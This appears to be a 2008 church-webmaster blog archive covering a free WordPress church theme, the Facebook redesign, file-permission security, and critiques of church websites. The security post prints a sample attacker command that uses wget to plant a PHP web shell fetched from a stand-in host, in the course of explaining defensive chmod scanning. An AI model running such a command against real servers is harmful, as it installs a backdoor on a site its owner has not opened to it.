FREE WordPress theme for churches

Tim Bednar is offering a free theme for WordPress that makes building, customizing and maintaining a ministry, para-church, nonprofit, political or small business web sites as easy as cake.

Ashford, the free WordPress theme for church and charity websitesBased on his recent work on Greg Boyd’s new WordPress-driven site, Tim has made available his “Ashford” … a free WordPress theme is designed specifically for those who build and maintain church and/or charity web sites including:

  • Volunteers – people who want a ministry web site (e.g. youth group) but do not have an “official” church web site
  • Administrative staff – people who need to maintain a web site in addition to the thousand other things they need to get done
  • Solo pastors – men and women who need to be a jack-of-all-trades and do not have the time to fuss with a web site

Realizing that most WP themes are not really created for normal people who are responsible for building and maintaining web sites, Tim has created a neat-n-free theme that offers the following general functionality:

  • Administer InPlace makes it as simple as possible to build and maintain your site.
  • Theme Configurator gives you all the power without having to hack a single line of code.
  • Subthemes give you more than a choice between different color schemes.
  • Search Engine Friendly HTML optimizes your web site for the best rankings.

Along with those, fun and friendly features that help you ‘… avoid high maintenance church website design,’ Ashford provides these church specific features:

And for you geeks out there:

  • HTML markup validates as XHTML Strict
  • CSS uses a 16 column grid system based on Nathan Smith’s 960.gs
  • jQuery is used to abstract behaviors from the markup
  • jQuery Curvey Corners is used to make it easy to round corners (class="roundme")
  • Custom widgets come pre-loaded with theme
  • No plug-ins are required

So how do you get started? Here’s how I’d do it from scratch:

  1. Get an account with a host service that offers automatic installs for applications; WordPress specifically in this case. DreamHost a nice tool for this – though some of their shared server speeds ain’t so hot. Otherwise, download and install WordPress on your hosted site yourself.
  2. Download and activate the Ashford theme
  3. Choose your web site preferences
  4. Build every page with the help of InPlace Administration
  5. Customize your sidebar with widgets
  6. Add content including images and other media
  7. Visit Tim Bednar’s Ashford Theme blog page – often (or at least subscribe to the site’s RSS feed).

Bednar says it’ll take all of 9 minutes. I just IM’d him and told’m him he needed to re-factor his figures as it only took me 3, and that was because I had to upgrade to WordPress 2.6 on my testbed site!

Kidding aside, I complimented him on some really fine work as I know I’ll be experimenting with it them as part of a long put-off effort to update my now 4 year old article on using blogs as “Blogging: Web Publishing on the Cheap” and an overdue update of a more recent post entitled “10 ways WordPress 2.5 will help you manage your church blog.”

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Facebook facelift – 5 things I like vs. 5 things I dislike

The new.facebook.com is out, and with it comes a cleaner and leaner interface that is not only more configurable, but addresses the growing needs of its of an audience that is stretching well past the niche of the college students. Here are 5 things I like, and 5 things I dislike about the upgrade based on what I see on my own Facebook page.

What I like:

5 things I like about the new facebook interface

  1. A trimmer, slimmer menu bar that now includes the search facility where it belongs, in the upper right hand corner as opposed to half-way down the screen on the left hand side.
  2. Conveniently located application tabs, with the ability to add more of your favorite Facebook apps to the tab list.
  3. Application option / navigation hyperlinks conveniently located under the conveniently located application tabs.
  4. Feed technology integrated into applications, such as the Facebook Wall.
  5. More useful profile information moved over to the left menu column.

What I dislike:

5 things I dislike about the new facebook facelift

  1.  Account Settings, Privacy Settings, and Logout all rolled into this single icon. Please at least give me a logout that’s conspicuously 1-click away.
  2. No direct route to an advanced search, not that the search feature is all that great.
  3. Why can’t I have the inbox aggregate/list in the left hand column?
  4. Can’t seem change the order of items in the left hand column, let along drag and drop them here-n-there – or even just hide the ones I don’t like.
  5. Find the ads really annoying, mostly targeted at my marital status and age versus the content I post.

I’m sure that there will be others who find other things they like or dislike, for example:

  • no support for low browser resolutions
  • little native support nor interface for mobile devices
  • missing avatar image for Deane Barker of Gadgetopia

What about you?

That said, here are 5 other things things I also think we as church and/or charity webmasters can and should consider doing based on Facebooks 5 month development effort:

  1. Continually poll the user demographics for shifts in population and/or usage – for example, the Facebook realized a lot of their Y generation students are now in the job force;
  2. Don’t be afraid to ‘borrow’ ideas from other success stories, such as Twitter and/or FriendFeed;
  3. Find ways to provide users more control of their interface, even it it’s not completely drag-n-drop;
  4. Understand the growing significance and adoption of personal portals and social network spaces;
  5.  Consider supporing your congregation – or a segment of your congregation such as the youth group – by the creation of a group and/or application specific to their needs.

We’ve been getting several excellent comments recently – keep’m coming so I don’t have to go controversial again! So what are your thoughts on all this?

Here are 5 additional articles on the topic to inspire ya:

  • NYTimes: Facebook Facelift Targets Aging Users and New Competitors
  • Facebook Keeps Growing – Still Far Behind MySpace in US – ReadWriteWeb
  • ChannelWeb – A New Face For Facebook
  • Facebook Unveils Its New Look- SkyNews
  • ReadWriteWeb (again) – Like Its Users, The New Facebook Is All Grown Up
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How to make ‘find -perm 777’ your first ssh security stop

Want to get hacked? It’s easy, just ‘chmod 777’ everything the next time you install a bbs or photo gallery application. Don’t want to get hacked? Read on and ‘find’ how hackers see, and exploit the unsecured areas of your system.consider chmod 777 vs. chmod 755 to lock down public paths & directories

For those of you running online community applications such as phpBB, vBulletin, Coppermine Gallery, Mambo and a few others, installation can be a breeze if you have shell access. That said, installations can also lead to an unwanted visit if you get sloppy with your file permissions during the install.

For today’s example, I’ll pick on vBulletin today because it is a commercial product, but be warned: today’s topic of discussion equally applies to ANY host of ‘open sores’ applications as well.

The neer-do-well runs a Google search for those websites that are ‘Powered by: vBulletin Version 3.nn.nn.’ Upon finding a potential victom, they visit the site and … pay attention now … through their browser request a URL on your system that contains a remote command. That first remote command is likely to include “find -perm 777” giving the hakr all the information he needs to then “wget http://badguyhost.ru/myshell.php -O /your/unsecure/directory/logon.php” onto your system.

Once such a php-based backdoor application is loaded, there is nothing left but to wipe your system clean and pray your backups are recent and reliable (more on that topic another time).

So two things I ask of you.

  1. Keep your online applications up-to-date – get on their mailing list to kee abreast of changes, updates and patches.
  2. For those of you with shell access to your system, run file permission scans such as ‘find -perm 777’ on your system before someone less trustworthy does. You might be disturbed by what you ‘find.’

For those of you whose paranoia-meter just went off scale, here is a command that for now will lock down those open areas:

find . -perm 777 -exec chmod 755 {} \;

For those of you with root access:

find / -perm 777 -type d

You may also want to run a scan for programs that provide web-based shell access. You’ll be glad you did.

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Follow-up: bad church web design inspired by bad theology

Judging from the feedback on my last post – I’ve either let you down or built you up. To those who were critical, thank you for your honest comments in love. It is always welcome. To those who sent private form-feedback, I’m glad I was able to encourage you. To those confused – I think I need this follow-up post to clarify some points.

Augustine of Hippo Refuting Heretic

While I never want to “go cheap” with gratuitous controversy, there’s no ignoring that I’ve touched some nerves in asking ‘Does bad theology induce bad church website design?’

I am personally very intrigued that in both public comments and private email/form responses that I’m receiving not many communications that are “in the mushy middle.” So with that, I’m going to dig into this topic a little bit more and then move on.

First

It wasn’t my intent to start a raging debate over water baptism. It’s just that personally, I find it a bit of a contradiction that those who’d slap ‘cult’ labels on denominations for infant baptism would on the other hand hold up the physical act water baptism as a requirement of who is in and who is not.

What I take from the Gospels was that Jesus was always impressed by those who demonstrated faith. Take for example the centurion or the thief on the adjacent cross. So too I’d think it is faith, and not a physical act that is what is important here.

Moreover, of the three theological points I … um … pointed out, that was the one I had the least trouble with regarding the site … um … cited. That I received no feedback on the erroneous assertions that Seven Day Adventists are cultists or that man has no sin nature bother me far than the whole baptism thing.

BTW, I was baptized as an infant, but later in life stepped out on faith and was baptized as an adult – demonstrating said faith as the person baptizing me quite literally, and accidentally, let go and let Jesus manage the event as I leaned backward into the baptismal pool. It was all I could do to keep from laughing underwater at the ironic prospect I might perish in the process of “dying to self.

Second

I think I failed to make my point because I only presented one website as an example.

My bad – in part because I think in part because as always, I wanted to present 5 things we could learn from the poorly design website in question.

Ergo, I offer web sites 5 more examples of sites that demonstrate web design as questionable as the apologetics they espouse:

  1. All Men are Saved – asserting that everyone gets in by employing every font to every argument on one long page. Most annoying and unusable are those points of emphasis that are underlined – leading users down an errant path to thinking such text leads to hyperlinks – when they in reality lead to nowhere.
  2. The Robert Brow Model Theology Web – a webmaster who takes as much license with both semantic HTML as he does in various teachings regarding relationships that don’t involve penetration … while ignoring lessons learned in Matthew 5.
  3. Brother Jed Smock – claims to be the foremost campus evangelist in the USA, only no one will every know because not only does he hinder access with a splash page, but further hides his message under a basket by using graphics to represent text that’d otherwise get indexed by a search engine.
  4. Demonbusters – which not only asserts that all problems are demonic, but demonstrates how to “return all curses sevenfold” by abusing it’s readers by shouting at us in ALL CAPS ALL THE TIME!
  5. Exposing Those Who Contradict – a site by L.Ray Smith that rails against the doctrine of eternal damnation, asserting that evil is a creation of God through a couple hundred articles that one must sift through by title all on the home page rather than through a much more usable mechanism such as a site search engine.

Third and finally

I think where I really let everyone down was not first providing why I often connect bad theology as a contributing factor to bad church website design. So here goes:

Along with a Master’s in Computer Science, I hold a BA in Music. What the combination of both disciplines have lead me to think is that any good artistic or coding endeavor – or in this case good web design – is in part a matter of hearing good doctrine, and then doing it. Sound familiar?

So I’m thinking how can we reasonably ask individuals engaged in lazy, misguided, and/or stubborn on points of Scriptural doctrine to act in a manner different in terms of practicing tenets of good church website design?

Put another way, can we reasonably expect someone who might assert that something like … oh I dunno … um … speaking in tongues as the only proof of Baptism in the Holy Spirit to reasonably be hearers and doers of … oh let me think … semantic HTML or usability in navigation?

Anyway, though I think I’ve exhausted this topic, I want to thank EVERYONE for their form feedback, public comments and/or email – both encouraging and critical. I appreciate it and hope everyone feels free to continue doing so in the future.

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Does bad theology induce bad church website design?

Is it just me, or is there a correlation between flimsy theology and flaky web design?Doh! A site so badly design, you'd think Homer did it!

Seriously, having reviewed hundreds of sites after sifting through thousands since May of 2002, I have to believe there is some linkage between bad theology and worse web designs.

Case in point, “Bible Truths” which among its barrage of kitschy animated gifs and cheesy graphics, this site erroneously preaches:

Fortunately, here’s one case where webmaster Don Martin (no, not THAT Don Martin)  obfuscates the site’s not-so-compelling content by rendering plain text with the same color as the hyperlinks (usually not a good idea, but in this case I’ll make an exception).

Had the latter not be underlined, I may have never come up with 5 things we can learn from this FrontPage induced visual assault:

  1. Just as tricks are for kids, so too are animated gifs are for silly rabbits.
  2. If you have to say “click on the door to enter …” on the graphic link into the website’s site map, then it means the whole point of a picture saying 1000 words is lost here.
  3. Don’t use the evil marquee tag to tell people how to navigate back to the page their currently on. It distracts while potentially causing the user to ‘use your “Back”‘ button at the wrong time.
  4. Why hide the light of your site search engine under a basket? Make it VERy conspicious on EVERY page.
  5. Using images for page, sermon, lesson and other titles instead of text to represent text means said information is hidden from Google and Yahoo.

Of course none of this matters without a theological make-over. But let’s say by some miracle it happens, then I’d also recommend the webmaster consider the following tools to better organize, maintain, and serve up said content:

  • drupal – especially leveraging add-ons for books and lessons
  • moodle – an open source application created to manage coursework
  • mediaWiki – a great tool for enumerating encyclopedic information

So whatta you think? Leave a comment, in love!

UPDATE 10Jul08  – after you’re done here, check out the follow-up article entitled ‘Follow-up: bad church web design inspired by bad theology.’ It might clarify some concerns or questions you have – or it just might make ya all the madder !-)

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